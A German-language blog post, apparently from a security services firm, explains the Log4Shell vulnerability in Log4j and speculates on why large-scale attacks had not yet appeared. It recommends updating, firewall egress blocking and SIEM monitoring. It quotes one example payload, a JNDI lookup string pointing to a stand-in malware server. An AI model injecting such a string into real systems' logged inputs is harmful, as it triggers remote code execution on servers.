Log4Shell – Großbrand oder doch nur heiße Luft?

Eine gravierende Schwachstelle in der Logging-Library Log4j (CVE-2021-44228) mit dem höchsten Schweregrad 10 wurde am 9. Dezember via Twitter öffentlich gemacht. Der erwartete Großbrand blieb jedoch bisher aus.

Die Sicherheitslücke besteht in den Log4j-Versionen 2.0 – 2.14.1 und ist auf eine standardmäßig aktivierte Funktion zurückzuführen, die in den Lognachrichten enthaltene Befehle interpretieret und ausführt. So wird z.B. bei der Lognachricht ${jndi:ldap://malware.server.xyz/a} auf dem Server, der Log4j nutzt, heruntergeladen und ausgeführt. Die Möglichkeit, auf dem angegriffenen System beliebigen Code auszuführen, gab der Sicherheitslücke auch ihren Namen Log4Shell, wobei Shell allgemein die Benutzerschnittstelle zur Interaktion mit dem Betriebssystem bezeichnet.

Die Schwachstelle ist deshalb so gravierend, weil Log4j de facto der Standard für das Logging in Java-Anwendungen ist. Sogar technische Laien wären in der Lage Schaden anzurichten, z.B. durch bloßes Ändern eines Gerätenamens.

Abgesehen von Angriffen auf das belgische Verteidigungsministerium sowie auf den BFH (Bundesfinanzhof), gab es bisher keine größeren Vorfälle, die mit Log4Shell in Zusammenhang gebracht werden konnten. Dass der angekündigte „Großbrand im Internet“ noch nicht ausgebrochen ist (oder nur nicht wahrgenommen wird), kann verschiedene Gründe haben.

In vielen Fällen haben sicherlich Entwickler und Administratoren, die direkt nach Bekanntwerden der Schwachstelle Sonderschichten eingelegt haben, schlimmeres verhindert.

Dort wo die Hilfe zu spät kam, könnten sich die Angreifer bereits in den Stunden oder Tagen nach Bekanntwerden der Lücke wahllos Zugang zu Systemen verschafft haben und sondieren bzw. priorisieren nun erst einmal, wie diese Zugriffe optimal ausgenutzt werden können. Teil einer solchen Strategie könnte auch sein, dass die Angreifer erst einmal warten, bis sich die Wogen rund um Log4j gelegt haben.

Die schlagkräftigsten Hackergruppen, die sogenannten advanced persistent threats (APTs), sind zudem meist von Staaten gefördert (oder zumindest geduldet) und müssen somit mehr oder weniger der Strategie der jeweiligen Regierung folgen. Regierungen dürften meist eher politische und weniger finanzielle Ziele verfolgen. Während ein Ransomware-Angriff dem Opfer spätestens mit dem Erpresserbrief bekannt gemacht werden muss, sollte ein Spionageangriff möglichst komplett im Verborgenen ablaufen. Insbesondere die Aktionen der letzten Wochen durch die chinesische APT-Gruppe Aquatic Panda, die auf VMware-Horizon-Webserver abzielten, deuten auf eine solche Strategie hin. Das Ausmaß wäre in diesem Fall kaum abschätzbar.

Eventuell sind viele Hackergruppen einfach noch nicht fertig mit den nötigen Exploit-Kits. Mal angenommen die Hacker sind noch nicht drin, können in diesem Fall Updates oder Konfigurationsänderungen noch rechtzeitig einen erfolgreichen Angriff verhindern.

Die wirksamste Maßnahme zum Schutz vor Eindringlingen heißt immer noch „Updaten“. Softwarehersteller, die Log4j in ihren Produkten einsetzen, sollten längst auf eine Version ab 2.16 aktualisiert haben. Anwendungen, die nicht mehr gewartet werden oder die aus anderen Gründen keine Sicherheitsupdates mehr erhalten, sollten generell durch Alternativen ersetzt werden.

Wo es möglich ist, können auch ausgehende Verbindungen der jeweiligen Server an der Firewall geblockt werden. Eine weniger restriktive Maßnahme ist das Filtern von Domainnamen in den Logs, wobei nur die tatsächlich benötigten Domains zugelassen werden.

Auf die Frage, ob sich Hacker bereits Zugang zu (ehemals) verwundbaren Systemen verschafft haben, kann ein SIEM (Security Information an Event Mangement) Aufschluss liefern. Ein SIEM ermöglicht die zentrale Sammlung, Korrelation und Analyse von Logdaten aller Systeme in einer Organisation. Zusammen mit Informationen über die aktuelle Bedrohungslage (Threat Intelligence) kann hier schnell auf neue Angriffstechniken reagiert werden. Datenexfiltrationen zu Spionagezwecken oder Prozesse, die auf eine Verschlüsselung von Daten zur Erpressung von Lösegeld hinweisen, können anhand entsprechender Erkennungsregeln im SIEM Alarme auslösen. Solche Vorgänge bleiben beim Monitoring einzelner Komponenten häufig unentdeckt.

Sprechen Sie uns gerne an – unsere Experten unterstützen Sie gerne jederzeit bei erforderlichen Gegenmaßnahmen.